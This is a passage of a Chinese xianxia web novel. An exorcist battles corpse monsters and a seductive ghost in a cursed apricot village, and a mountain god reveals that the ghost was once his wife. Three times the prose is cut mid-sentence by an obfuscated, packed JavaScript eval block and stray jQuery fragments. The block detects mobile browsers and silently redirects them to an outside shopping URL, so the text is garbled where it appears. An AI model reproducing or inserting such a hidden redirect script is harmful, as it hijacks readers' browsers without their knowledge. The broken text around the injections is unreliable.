傍晚,夜色阑珊,秋风萧瑟,吹过杏园时,沙沙作响。潺潺的流水声清晰可闻,夜幕降临,一切都显得格外寂静。
庙里的人刚升起的柴火就这么被一阵突如其来的风给吹灭了。
“来了。”于观南道。
伊见喜在庙里设了一个阵法,妖魔鬼怪进不来的那种,设完后除却小鹿外的几人便走出了寺庙。
于观南对小鹿道:“好好在这庙里待着,若要活命的话那就别出来。”
小鹿咽了咽口水,连忙点头应道。
三人来到了枯井附近。
而此刻,呈现在他们眼前的是同白天不太一样的情景,周围的花逐渐枯死,杏树上的叶子不断掉落然后枯萎,而那地面上是新鲜的甚至还在流淌的血液,血流成河,直到流向前方的井口,井旁生长着荆棘灌木,而井口跌落着一个脑袋,这一幕让人看了不禁头皮发麻。
“真让人恶心。”伊见喜道,说着他便化红岩,剑身火光缭绕,“哪只恶鬼在这作怪,给小爷我滚出来!”
“恶鬼”并没有“滚”出来,而是从枯井四周的地底爬了出来。一只接着一只,一群接着一群,身体是虚空一片,张牙舞爪,一看便知,那是一群凶尸,而且还是煞气极重的凶尸。
凶尸源源不断的出没,不一会儿便将三人围得密不透风。
“真是群不长眼的东西!”伊见喜说罢,周身燃气熊熊烈火,待凶尸蜂拥而上,他先是捏了个决化出一团火焰将几只凶尸烧了起来,紧接着拔剑相向。
战争就在一刹那间,沈秋白和于观南也立马加入了其中。不过这莫名从地里冒出的凶尸好像杀不尽似的,反而越杀越多,更让人不解的是,还越杀越有劲儿。
“这东西根本杀不完!源源不断,简直没完没了!”于观南看向了枯井,井口有黑气出来,隐约间他看见了一个阵法,不是很清楚但他能确定这些凶尸大抵与那个阵法推不了干系。
于观南飞出几张黄符,贴在了凶尸额间,“砰”的一声,被贴上符咒的鬼怪被炸成了烟气。
“我有一事想做,二位神仙可能替我做个掩护?”于观南道。
“没问题!”沈秋白道。他手持思玉剑,那是一把碧玉软件,寥寥几下就绞杀了一旁的凶尸,凶尸瞬间泯灭。
一只凶尸来到了庙门口却被阵法拦在了庙外,它怒吼一声,可是小鹿却毫无反应,冷不丁地盯着凶尸看了许久,直到见伊见喜过来,才有了几丝害怕的情绪。
“不要……别伤害我…”他喊道。
庙外围着的凶尸也越来越多,都虎视眈眈地看着小鹿。
伊见喜来到庙外一剑斩杀了几只凶尸,“滚开!”然后放了把火将围着的其他凶尸都烧了。
“哭什么哭,难看死了,男子汉大丈夫能不能有点出息!瞧你那一脸柔弱的样子,给我收回去!”
小鹿擦了眼泪看着伊见喜,的确没哭了,他弱弱地说了一句:“谢谢。”
沈秋白帮助于观南杀出了一条血路,于观南便乘机跑到了枯井边上,然后踩上井口,“呼—”的一下跳了进去。
这样的做法让在场几人有些讶异,但没时间多问,凶尸依旧不断,打斗停不下来,这要停不下来,水火二神的法力就会一直消耗,直到亏空为止。
“这样下去不是办法!”沈秋白说道,将前来的凶尸驱散后,便在地上画起了阵法。随着他手指摆动的幅度和方向,那阵法逐渐出现,不一会儿便成了形。然后他又捏了个决将阵法打开。光辉之下,阵法在空中越变越大,直到将整片空地笼罩在它之下,光芒万丈,流水而下,凶尸都被无情地隔在了阵法外面。
枯井下是一片漆黑,伸手不见五指,于观南拿出一张符纸将其点燃才勉强看得清楚了些。
这井底连接着一道洞穴,不知通往何处。洞穴不大,够一人通过,四面的泥土有些潮湿,于观南伸手摸去,一股浓重的血腥味袭来,他虽有些忌讳,但还是选择往更深处走去。
走了不久便到了一处空旷处,那是一个类似于墓穴的地方。在他踏入的那一刻,四周燃起火焰,于观南才看清了这墓穴。
墓穴四周的石壁刻满壁画,一口木棺悬于空中,铁链枷锁将其封锁,木棺四角的柱子雕有四大神兽,为青龙,白虎,朱雀,玄武,神兽顶上有冥火燃烧。至于墓穴顶端,那里画有一个阵法,正对着木棺。
很明显,这棺材里有什么东西被镇压着。于观南行走在墓穴周围,观察着这里的一切。
石壁上的壁画比较抽象,于观南看不太懂,但是木棺被困着的这一阵法,他大抵看得明白一些。能用上四大神兽镇压,棺里的人要么十恶不赦,要么罪大恶极。如此镇压方式,只会让这人往地狱而去,永世不得超生。
他走到木棺前施法将木棺的灰尘除去,上面显现出几个字眼,而那些字的写法,他再熟悉不过,那是太商国的文字。
于观南甚至无法相信自己的眼睛,几度三番的确认下来,字的内容是:积怨仇恨,久悬不决,吾以吾血立誓,吾定会以命相博。而一旁用尖锐的剑锋刻着两个字——宋芷。
杏花村有太商国的人。于观南有些不可思议,原来那场灾难中还有人活了下来。
“嗒——”一个声音传入于观南耳里,他回头看去,并未发现异常。就当他陷进对这个声音的思考中时,悬挂着木棺的铁链稍微震动了一下,然后从连接木棺的头部开始断裂。一截截断碎的铁链往下落着,垂直砸向了于观南。
他往后躲开了铁链,但是下一秒地面上爬出了无数鬼手,他还来不及落地又眼疾手快的跳上了木棺。
“好险。”
他踩在木棺上,有些歉意地看着木棺道了句:“对不住了。”他这么一看才发现木棺面上的棺盖十分轻盈,他试着在上面踏了一脚,声音空洞有回声,听闻,他踩在一根还未断裂的铁链上,打开了棺盖。
“!果然没人!”
红色图案与木棺顶上的阵法对应,看着那些鬼手于观南忽然就想到了什么,他一开始认为这阵法是控制这口木棺的,可是木棺上并没有东西,那么顶上这个阵法会不会和外面的凶尸有关?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007277|148103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他将辟邪抛出,看准了阵法的中心位置,嘴里念起了破阵的咒语:“天地可鉴,万物有灵,执法通道,炁神合一,破!”
辟邪穿破阵法,将这阵给破了去。
枯井外的凶尸在于观南破阵的那一刹那接连消失了。
水神见状收回了法力,然后跑到了枯井旁,大喊:“于公子?!你没事吧!”
于观南虽在井底墓穴内,但还是隐约可以听见些外面的声音,他大声答道:“我没事!不必担心,我这就上来!”
隐约间,他发现在木棺角落里有个什么东西,于是仔细一看,才发觉那是一张人皮面具。他伸手将面具拿起,大为震惊。
这分明是一张鬼怪的面皮,而且还是九百年前他在厌火国时见到的——笑脸鬼。
世间这样的小鬼并不多,大部分是森罗殿世钰判官坐下的,可九百年前世钰因鬼迷心窍,坑杀厌火国民而被上古神仙了尘除去,他手下的小鬼也都死在了了尘剑下。
这笑脸鬼皮不可能是这只极恶鬼所为,那又会是谁呢?
于观南将面皮攥在手里,若是此事和厌火国有关那真的很是棘手,毕竟他前世也是几次三番差点死在了那个国家,索性有人相救,才促使他最后顺利登基成王。
他正想着,忽而地下异动,一双双鬼手向上伸着,抓到什么就往地下拖去,它们摸索着慢慢地爬上了木棺。
于观南四下张望,实在找不到有什么地方可以躲避这些鬼手的,情急之下将面皮揣进了里衣,抽出辟邪剑,戴上了鬼面,然后在木棺上跳起了傩舞。
他剑指的方向大炁缭绕,划过鬼手时,燃起了一片接着一片的蓝色火焰,当他再次跳跃落地于木棺时,一大半的鬼手已经被烧成了灰烬。
谁知下一秒,他往后退了一步,却陷入了另一片困境——墙面出现了无数荆棘藤条,那些藤条爬上他的身体,攀附在他的手臂上、脖颈上,尖刺划过他的皮肤,撕开他的衣服,将鬼面从他的脸上掀了下去,他原本握紧辟邪的手也在藤条的作用下松开了。
哐当一声,辟邪落在地上。
荆棘藤条上开出了暗红色的花朵,那些花娇艳欲滴,魅惑至极,开在于观南身上,散发出一股甜腻的气息,令人如痴似醉。
一阵天旋地转之后,被困住的那人,青筋暴起,浴血沸腾。
“哎呀,这是谁家的公子,生得好英俊,令人好生向往啊……”
“呼……公子还是个雏呢……”
“公子别忍啊,你睁开眼睛看看,保证不让你失望……”
“………”
那女鬼的声音摄人心魂,犹如银铃般绕在于观南耳畔,迟迟不散。
藤条抚过于观南的胸膛,不禁让他觉得一阵酥麻,而后咬牙切齿。他的身体灼热难耐,思想混乱无比,索性还剩下一丝理智。
“哪来的……恶鬼……”他一字一句艰难无比,呼出的热气里夹杂着几丝情欲,“有种出来……”单挑二字还没出口他身体里那燥热的痛感又突然袭来,让他不禁闷哼一声。
7. 山时意
“恶鬼啊……哪里来的恶鬼,这里只有美人……”
“睁开眼看看呀,公子,你流了好多汗呐。”
若是持续这番下去,那他今天怕是要交代在此处了。
他碰上的怕是那宋芷设下的陷阱,若是他被迷惑睁开了眼睛,那只要一眼,体内的血脉会因躁动而破裂,直接爆血而亡。
若他反应快些,也不至于将花上散发的毒气吸入体内。
可是如今再懊恼也没用了。
于观南只觉得自己全身上下面一个地方是对劲的,再加上他又不能睁开眼睛,如此看来,能脱险几率太低了。
“宋姑娘……何必用这种方式对付我一个小小的傩师,太大费周章了。”于观南全身被淹没在了荆棘从中,他嘴巴一开一合便能触碰到开在藤条上的花朵。
听闻,宋芷有些惊讶,笑道,“还是个聪明人,知道我是宋芷,那你知道我有多讨厌像你这样的江湖术士吗?!”
“呼……我何必知道,不过如此死法实在难看,我更希望你能果断一些。”
辟邪剑不在手上,脱离困境不容易,要怎么办呢?身体快到极限了,脑子也愈发混乱了起来。
宋芷走近他,片刻后坐在了木棺上,手里把玩着那些藤条,她手指只要一收紧,缠绕着于观南的藤条也会随之收紧。她道:“你们男人不是说,牡丹花下死,做鬼也风流吗?这样的死法不正好?”
“怎么会呢……小生,可不要死在这肮脏之地!”于观南从破烂的衣服里掏出了几张黄符,符咒被点燃后。从他手下的藤蔓开始烧起,知道将困住他的藤蔓烧得面目全非,他迅速跳起,从那藤蔓中挣扎开了,而后稳稳的落在了宋芷身后。
宋芷有些震惊,但转而又笑了起来,“公子厉害呀,可惜了,你必死无疑。”
于观南一顿,没有回头,也没睁开眼睛。如她所料,他也不过是想要挣脱那几条藤蔓而已。
他嘴里念叨着咒语,从木棺下换回了辟邪剑,攥在了手里。他一大半的体力还在和身体的毒素做斗争,能抽出来的也只余那一点了。
宋芷出手比他想象的快,他还未反应过来就被一脚踹在了墙面上,嘴角流出几丝热血,只能强撑着辟邪站起了身来。
他热血澎湃,体内的炁没法完全流转,如此形式,当真要是被压在砧板上任人宰割的鱼肉了。
“呵,我还以为你能有多厉害,不过如此啊。”宋芷没再动手,而于观南由于太过于克制,体内血气拥堵,不禁口吐鲜血,刚站起身就往前倒去。
他原以为自己会就此倒地不起,没想到胸前虽然冰冷,却一片软绵。
前来将他接住的那人,用调侃的声音道:“怎么,这就忍不住投怀送抱了?”
于观南张着嘴扯出一抹笑来,“你……这是跟了我,一路啊……”
来者不是别人,正是季冥渊。
宋芷见况立即警惕了起来,“你是谁?!”她再定睛一看,又道:“你,帮他做甚?!”
季冥渊一副漫不经心的模样,道:“帮他又如何,顺水人情而已。”而后他又看向于观南,低声道:“来,睁开眼睛,相信我,不会有事的。”
于观南心里没底,但思来想去,左右都是死,于是缓缓睁开了眼睛。
他竟没有爆血而亡,而且在睁眼的一瞬,体内的热气在慢慢消退,就在这时,他意识到了什么,这才挣开了季冥渊的怀抱。
面前的人换了一身行头,还是那月白衣裳,但乌发从披散变成了用红色发绳编织了起来,垂于一肩。腰间则多了一条赤红的腰带,简洁大方,但依旧有梨花落雪,他站在那里,就好像一轮悬月,积石如玉,列松如翠。郎艳独绝,世无其二。
季冥渊被挣开后,轻笑一声,“我们又见面了……于公子。”
于观南勾了勾唇角,“是啊,又见面了。”
木棺边上,宋芷一袭红衣,凤冠霞帔,青白色的面容正冷眼看着他们。
“他可是傩师,你竟救他?”宋芷不可思议的看着季冥渊,然而那边的人却倏然冷下了脸,“怎么?我是不会杀你吗?”
宋芷显然有些害怕。她心里很清楚自己不是眼前这恶鬼的对手。季冥渊散发出来的气场太可怖了,压得人无法呼吸。
“你以为你能护他多久?我今日杀不了他,明日也要取他性命!”宋芷说着不一会儿就消失在了墓穴内。
于观南心里大概有了猜测,可是,还有一点他弄不清楚,杏花村看上去并不像被极恶鬼盯上的样子,而且,奇怪的人和事太多了。
“我既然救了你,于公子要如何感谢我?”季冥渊双手环抱靠在石壁上,对着于观南得意地笑道。
于观南确实不会是宋芷的对手,虽然他不太想向季冥渊道谢,但无论如何眼前这只恶鬼确实救了自己,他向着季冥渊行了一礼,“多谢相救,来日我定会多烧些纸钱给阁下。”
季冥渊冷笑一声,看着于观南衣衫不整的样子,忽然便来了兴致,“于公子这是诱惑谁呢?怎地一副梨花带雨的模样啊?”
他说的没错,于观南此刻确实可谓梨花带雨,满脸汗水,身体的热气还未消散尽,眼角也因为方才的隐忍而忍不住带上了泪花,简直一副被人欺负过的样子。
“咳咳!”他被季冥渊这话给呛了几下,谁知那人还没完没了,伸出一只手捧起了他的脸颊,“好烫啊,我看了都于心不忍了。”
这哪是什么无穷恶鬼,这分明是一只骚狐狸。
于观南怎么说也是个清风道骨的大神傩师,心思纯白无比,哪受得了他这样的。
“放手,呼……你别说话了,听着让人难受。”他拨开季冥渊的手,缓了很久,才从毒素的余烬中出来。
这么多年,还真是第一次被这种魅惑的毒素缠上了身,以往只是在傩谱里见过,要么就是听吴净山提到过。毕竟他师父年轻时候的经历也丰富得很,这种东西必定也是受过的,至于他怎么出逃的,于观南猜这老头子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019687|148103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都能这么多年打光棍,估计没什么情欲,要么就是不行。
“我说话怎么会让你难受呢,你方才不还投怀送抱了吗?”季冥渊又道。
于观南被说得无言以对,只好整理整理自己的衣裳,捡起了一旁掉落的鬼面,才走两步,身后的人又跟了上来,“怎么,于公子是害羞了,可别落荒而逃呀。”
“你可知厚颜无耻几个字怎么写?”于观南停下来道。
季冥渊道:“你说怎么写?”
“哼,你这样的,不就是吗?”
于观南走了几步,季冥渊还是跟了上来,他终于道:“你到底有何目的?”
“目的?我能有什么目的呢?”他一脸坏笑地看着于观南,“没有目的,若是非要说,我想与于公子,交个朋友。”
于观南在九幽炼狱中时常被恶鬼啃食得七零八落,偏偏又无法魂飞魄散,九幽的每一个角落都会回荡着他的喊叫声。
他见过无穷恶鬼,不过只见过隐隐约约的一眼,他那时太痛了,睁不开眼睛,也很难听见声音。
他只是不曾想到有朝一日自己也会被一只无穷恶鬼盯上。
于观南将手里的辟邪剑先收了,然后不紧不慢地说道:“跟我交朋友?跟了我一路就为交个朋友?你认为这样的话我会信吗?”
他打死都不信。
季冥渊却在那边玩味似的道:“于公子,做傩师这么多年是还没有朋友吗?为何不信?难不成是因为我的身份,是我的身份让你感到害怕了吗?”
于观南并不害怕季冥渊,他最多就是搞不清楚这只鬼的目的而已。罢了,说太多反而就不清楚了,“我确实没朋友,也不轻易交朋友,古往今来,朋友二字起码都是建立在志同道合的基础上,有道是,道不同不相为谋。”他忽然一个激灵,“莫非,这杏花村的事情和你有关?”
“和我有关?你觉得呢?”季冥渊一副无所谓的表情,好像就是这事情与他有关,又能怎样。
见他一副玩世不恭的样子,于观南倒是觉得可笑,“我想也不会是你。”
季冥渊来了兴趣,“都是恶鬼,你又怎么认为我不会是主谋呢?”
“你很无聊吗?”于观南说着便往穴外走去。
身后的恶鬼也逐渐隐去了身影。
“当然不……”
井外的神仙已经等了很久了,担心井底有什么情况,沈秋白对着井口又道:“于公子,是遇到什么状况了吗?”见没人回答,他已经踏上了井口,正欲往下跳时,于观南跃了上来,落在了水神面前,“久等了。”
沈秋白见于观南有些狼狈,便问:“可是遇到恶鬼了?”
于观南道:“运气不错,遇到了极恶鬼,不过她跑了。”
凶尸已经消散得差不多了,只剩下还没散尽的阴气。
于观南左右看了看,然后问道:“怎么不见火神?”
沈秋白道:“见喜他去村里了。”
于观南:“………”
8. 山时意(五)
夜色很浓,杏花村死一般的寂静,没有生机,没有灯光,忽而它像画布脱落,从白日里美好的村庄变成了一片废墟。
废墟上面爬出了尸体,一个接着一个,他们对应着白天的每一位村民。唯有一位老人是活的,他摸索着从地上爬了起来,却被一群凶尸围着看了许久。
顷刻间,老人周围燃起了火焰,伊见喜便冲进了尸群当中。
“是,是我的阿瑶吗?”老人叫唤了一声,可是回答他的是凶尸暴怒,是烈焰焚烧。
“老头,躲我后面去,别乱叫!”伊见喜挡在老人身前,将周围的凶尸一个个斩杀殆尽,他挥舞红岩的时候并不费力,只不过每多动用一道法力,他的眼神就会变暗一分。
火神的火焰与普通的火不同,它可以烧尽一切生灵,却也是最耗法力的。
老人是被某只凶尸贯穿身体而亡的,鲜血喷洒到了伊见喜身上,让这位热血少年眼里的光亮彻底暗了。
于观南几人从枯井那边赶过来时,伊见喜身边躺满了尸体。村庄被一片大火笼罩着,随后不停蔓延,火焰爬上了杏树枝头,爬上了田埂园间,原本冰冷的村子也变得炙手可热起来。
“见喜!!”沈秋白冲向伊见喜的途中,丢出了一道法力,浇熄了蔓延开来的大火。
凶尸大都已消散,伊见喜体内的法力却还在不停往外涌动,他见沈秋白朝他跑来,立马将那法力给收了回去。
“秋……白。”他整个人已是疲惫不堪,眼神也变得有些空洞了起来。
沈秋白将他扶起,轻轻拍着他的后背,“见喜?没事了,没事了……”
伊见喜变得与之前不太一样,此刻的他柔弱极了,双手紧紧抓住沈秋白的衣角,眼里范着泪光,就好似一个三岁孩童一般,他嘴里轻轻叫着,“秋白……秋白,我害怕……”
“火神,这是怎么了?”于观南问道。
小鹿踉踉跄跄跑过来,大抵是见到躺了一地的尸体,又见火神不同寻常的模样,被吓坏了,“火神,是……杀人了吗?好多,好多尸体啊!”
沈秋白没有停下拍着伊见喜后背的手,只是眼里有些悲哀地答道:“见喜他只是消耗了太多法力了,需要休息。”
于观南再一看周围的情景,“这些村民是火神所杀?”
沈秋白忽然一怔,赶忙解释道:“不是的,不会是见喜,这里……这里……”
伊见喜如今的状况确实很奇怪,在击杀凶尸时不可控也可以理解。而且于观南现在更关注的是他为何会变成如今这副模样。
“现在情况不明,我希望,水神能将火神变成这样的实情告知我。”于观南道。
其实关于火神的传说,于观南没少听过,傩谱里也有记载,说这九重天的火神大人在飞升前是个智力堪忧的痴儿,由于痴呆曾被不少人欺负过。后来飞升为神,大抵是有法力的加持,变得便也正常许多。
“人不是他杀的。”沈秋白将伊见喜抱在怀里,长舒一气,“我与见喜未飞升前都是八百年前赤水国的人。我乃赤水国三皇子,而见喜是我从赤水的母亲河,琉璃河边救来的随从。那时候他还是个智力正常的少年,虽说是随从,但他更像是我的朋友。”
赤水国有圈养狼群的习惯,伊见喜便是整个赤水国最厉害的训狼师。沈秋白以为他或许本身就是一头狼,一头赤诚衷心的战狼。
他是个热血少年,挥剑破云迎日月,踏风破浪傲江流。
后来也顺理成章的成为了赤水国征战一方的大将。如此这般的少年,却在一次为国征战的路上,被敌军偷袭伤到了头颅。
在八百年前人间兴起了不少国家,其中,赤水国和音尘国最为突出,而两国也因此争锋相对了起来。
“赤水与音尘的战乱持续了很久。音尘的大将军是个有勇有谋,侠肝义胆的女子,见喜很佩服,偷袭的那位士兵同样也被她处理了刑罚。两国相争,必有输赢,但要光明正大的赢,同样的她也十分赏识见喜。
见喜自从头颅受伤后,记忆越来越差,反应也逐渐迟钝了起来,我见不得他这般样子,寻找了不少名医也没能将他治好。后来我们一同飞升为神,有了法力的加持,他才能够维持正常,但一旦法力消耗过多或者受到很大的刺激,就会又变回原样。”
“他没少因为我变成痴儿……”
或许这才是要于观南同行的原因吧。
傩谱里有关于音尘和赤水两个国家的简单介绍,但说到底还是不太全面,于观南只知道音尘国飞升为神的人里面有位不得了的神仙,五行之首,金神千机。
“既然如此,那我想,”于观南思考了不久,重回重点,“如果这些村民都不是火神杀的,那么有没有一种可能,从我们进来开始,杏花村里就已经遍地死尸了?是有人在我们踏足此地起便施了幻术,所以一开始我才会觉得那些人行如傀儡。”
沈秋白看了一眼于观南,从一开始他就觉得眼前这位傩师不太一般。这人看似只会些傩术,但心思十分缜密,行事毫不慌张。对付起凶尸来竟也能将生死置外,不做犹豫地跳下枯井,这和百年来他见到的其他傩师不同,甚至于凡人之中他也很少遇到这般人物。
他真的只是傩师吗?
小鹿也看了好久,伸手拉了拉伊见喜的衣角,“火神大人,你在害怕吗?”
伊见喜收了收被小鹿拉着的衣角,埋头在沈秋白颈肩,身体不停发抖,他在害怕。
小鹿还想说什么却被于观南给止了。
*
火神恢复意识是在第二天。
在北水庙中于观南将枯井内的发现告诉了水火二神,这埋藏在杏花村的极恶鬼便是宋芷没错。
“太商国?我听闻此国是因他们那无用的君王才灭国的,原来竟还有存活下来的。”伊见喜靠在一旁要倒不倒的柱子上,恢复了以往那副不可一世的嘴脸。
于观南有些心虚,半天不答话,是在一旁眨巴眨巴眼睛,听得云里雾里的小鹿道:“这个我知道,太商国王暴虐无常,压迫百姓,沉迷女色,是个妥妥的昏君,”看见几位哥哥不说了,又满脸笑意,“嘿嘿~我瞎说的,古往今来,坏君王不都这样嘛。”
于观南:……
不过他说的这些他还真没有,他顶多就是不会管理朝政,无用了些,至于暴虐和压迫百姓,他可真是冤枉,沉迷女色就更是冤枉了。
他是喜欢美人,但是纯属欣赏,要说沉迷,最多也就是沉迷于……罢了,多说无益,他确实毁了太商,这便是事实。
“话说回来,太商人又怎么会出现在杏花村呢?”沈秋白问。
于观南不知道这里为何会有太商人,他反而问道:“九重天可有九百年前飞升的神仙?”
沈秋白思考了片刻答到:“五行之中土神飞升最早,大概也是在九百年前。于公子是怀疑这事情同九百年前飞升的神仙有关?”
于观南点了点头,他想,是的,九百年前飞升的人,大都是太商国的子民,太商最后是被大火烧尽了,但在这场因于观南而起的灾难当中,也有不少因护国护民而飞升为神的神仙。
“除此之外还有其他神仙吗?”于观南又道。
沈秋白和伊见喜互相看了一眼,沉默了许久,突然伊见喜道:“我记得是有一个,不过好像是被神主降职了,至于降职为什么,那就不知道了。”
这样啊。
于观南:“那不如,两位再招来山神问问清楚。”
沈秋白和伊见喜明白了他的意思,于是又将时意叫了出来。
时意被唤出来的时候,大概也知道了几人的目的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027637|148103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“各位,有什么想问的便问吧。”时意道。
于观南立马问道:“山神如实告知,这杏花村外的结界是不是你所设?”
从上山起,见到时意的那时候于观南就觉得极其有问题。他行动和缓,十分疲惫,原先于观南还觉得应当是孤山背阳的缘故,使得这里的山神法力不够充沛,但仔细观察后才发现,时意似乎隐隐忍耐着什么。
于观南猜想,他当是花尽了法力在结界上,维持着杏花村所谓的生机,他不惜代价,要护住的人就是那极恶鬼。
时意反而从容道:“没错。”
伊见喜见他这样恨得牙痒痒,捏着拳头就想给他一拳,但还是克制了,毕竟是神仙,大动干戈起来怕伤及无辜,“呵,我倒是有些不明白,你身为山神,为何要帮助一只极恶鬼,你可知你这么做的下场,可知会受到怎样的惩罚?”
“……”
“山神为何如此,身为神仙当是为天下苍生,你不救他们反而放纵极恶鬼杀害他们。不论何种理由,如此做法都是错的。”沈秋白道,“何为神仙?你这样的,配吗?”
时意自觉羞愧难当,沉默了半响也没有半句回答,见他这样于观南又道:“那么,我很好奇,山神同这位宋芷姑娘是有什么渊源呢?”
听到宋芷的名字时意脸色苍白,似是放松地闭了一下眼睛,终于回道:“她是我的妻子。”
在场的人都因他的回答有些吃惊,伊见喜道:“你怎么会和一只极恶鬼是夫妻关系?”
“我们不仅是夫妻,我们本来也有孩子。”他说出来时十分轻快,好像这话在他心里已经压抑了太久,太久了。
“怎么可能?!”伊见喜道。
“山神说的是飞升前的事情吧?”于观南道。
“没错。”时意道,“我和芷儿刚成亲没多久我便飞升了,那时我不知道的是,她肚子里还有我的孩子。”
“!!”
神仙飞升是要同人间减少关联的,不是说断得干净彻底,而是少有来往。除非一年之内的某个特殊的日子,或是节日,神仙可以自行下界与亲人相聚,但除却这些特色日子外,神和人是相隔两界的。时意说宋芷是在他飞升前有了身孕,那么这孩子直至出生,时意都不一定能下界看一眼。
小鹿看了时意好久,见几人没说话了,便赶紧插了上来:“我好像在哪里见过你。”
时意轻笑:“上次你睡在我庙里时见过。”
小鹿猛地点头,“对,就是那次。”他在这破败的山神庙里睡过好几个晚上,一次他因为太饿,偷了几个馒头,然后便被几个村民围着打了一顿,那天晚上他既没有吃到馒头,还受了伤,躺在这庙里也没有哭,只是很困很困,然后就晕过去了,再醒来时就见到了时意。
“谢谢你救了我。”小鹿道。
时意不自觉的伸出手摸了摸小鹿的脑袋,小鹿的头发很蓬松,很软,让人摸了又舍不得放手,“不用谢我。”
“我本是位土神座下的武神,不得已才向神主提出要降职为山神,神主虽然不是个清醒的人物,但他也同意了。”时意道。
他这话让于观南听了,有些不解,什么叫“神主不是个清醒的人物?”他非神仙,九重天的事情除了人间有记载的那些,其他的他一律不知。
伊见喜见于观南如此这番,便宽宏大度的解了他的疑惑,“九重天的神仙没有哪个是正常的,你在人间听到的话本,看到的传说,只不过是其中一角。于公子,不如你到你们那傩谱中,再仔细翻看翻看,大概能找到些蛛丝马迹?”
沈秋白听了撇了伊见喜一眼,见喜便闭了嘴。他这个人就是这样,没什么心眼,说话也很少会过脑子,但好在待人真诚,做事光明。
“这样啊。”可是傩谱里又怎会记录这些呢?
9. 山时意(六)
时意心里的石头像是突然落了地,这些年他就在杏花村里,看着宋芷的所做所为,看着一切发生,心里百般着急却又无所作为。
他没有尽身为夫君责任,也没有尽身为神仙的责任,他两边都想做好却两边都做不好。
“说到底杏花村如今变成废墟,是我的责任。”
他瞒了太久,早已经罪不可赦,如今也瞒不下去了。
时意飞升是在九百年前,那时候这孤山还没有杏花村,他也还是太商国的文弱书生,是在赶考的途中碰到了宋芷。
宋芷是一间酒铺的老板娘,酒铺建在人烟稀少的地方,为那些辛苦奔波的人提供休息处。
时意第一次见到她时,只要了一碗白水,没敢喝酒却遭来了宋芷的嘲笑。
宋芷是位风姿卓越的女子,笑起来时有两个动人的酒窝,她对着时意道:“光喝白水可不行,这一路奔波,总要让身体沾点酒气,也好好享受一番。”
时意羞红着脸蛋,不敢大声语,弱弱道:“姑…姑娘,我实在不胜酒力,喝,喝不了的。”
宋芷见这位公子如此娇羞,便忍不住想要调戏一番,“那可不行,不喝酒,我们可不接待。”
时意有些呆愣,有些不知所措,在身上摸索了半天,摸出一枚钱币,然后递给了宋芷,“白…白水的钱。”说完背着箱笼就要离开,却被宋芷拦住了去路。
宋芷道:“你还真当真呀,我骗你的,还是坐着歇息歇息吧,不逼你喝酒了。”她嘴角带笑,暗自窃喜,而后便进屋拿了点吃的,递给了时意,时意一看是一碗瘦肉粥,他不明所以的看着宋芷。
“吃点东西,才有力气赶路,你放心,这粥肯定会收你钱的。”她说着就又去忙自个儿的事情了。
在时意走时,这碗粥钱,宋芷并没有收,她只说道:“粥钱可以赊账,我估摸着你下次还会来,下次给也一样。”
时隔一年,时意没有考上,第二年春天确实又经过了宋芷的酒铺。
酒铺旁不知何时种满了杜鹃花。一簇簇,一朵朵,春风拂过便化成了漫天的星星点点,洒在了身着青衫的女子身上,仿若一时间梦境起,时意便移不开眼了。
宋芷等候多时,她看着时意前来的方向,道:“你来了,公子。”她笑颜如花,在微风中久伫。
时意走上前,同之前一样要了一杯白水。“姑娘在等人?”他道。
宋芷将水端在了他面前,“你觉得我会等谁?”她笑,“公子啊,上次的那碗粥钱,你可是忘了?”
时意没忘,怎么会忘,他摇着头,将白水喝尽了,“怎么会忘呢?小生不才,让姑娘久等了。”
宋芷便拿出了一坛酒来,坐在了时意对面,然后道:“失约的人,要罚,公子时隔一年,可还能喝酒?”
时意欣然接过了那坛酒水,他将身后的箱笼卸下,放下了手里一路都拿着的书本,然后打开酒坛,给自己斟了一碗酒水。他道:“读书人戒酒,但今日为了赔罪,这酒水我是不得不喝了。”说罢时意便将酒一饮而尽。
“豪爽。”宋芷说着也跟着饮了一杯。
月明风清,杜鹃鸣啼,怎地就让人早早入了梦境。
时意别时,才正式对着宋芷介绍了自己,他道:“小生时意,赶考途中奔波劳累,索幸姑娘一碗白水,若是来日我取得功名,不知……不知姑娘,愿不愿意……”时意支支吾吾半天没有下半句话,宋芷朝他挥了挥手,也没等他说话便应了下来,“我愿意,我等你。”
宋芷半辈子都在这酒铺当中,所等的,所寻的,不过是一个良人。
虽然时意的话没有说完,虽然她们不过见了两次,但是宋芷知道他要说什么,既然予以承诺,那她便应了吧。
我与公子不过两面,两面皆不谈钦慕之意,只谈人生几何,只谈愿不愿意。
“芷儿等了我又一年,这一年,我成功考取了功名,做了一位小小的文官。”时意继续道。
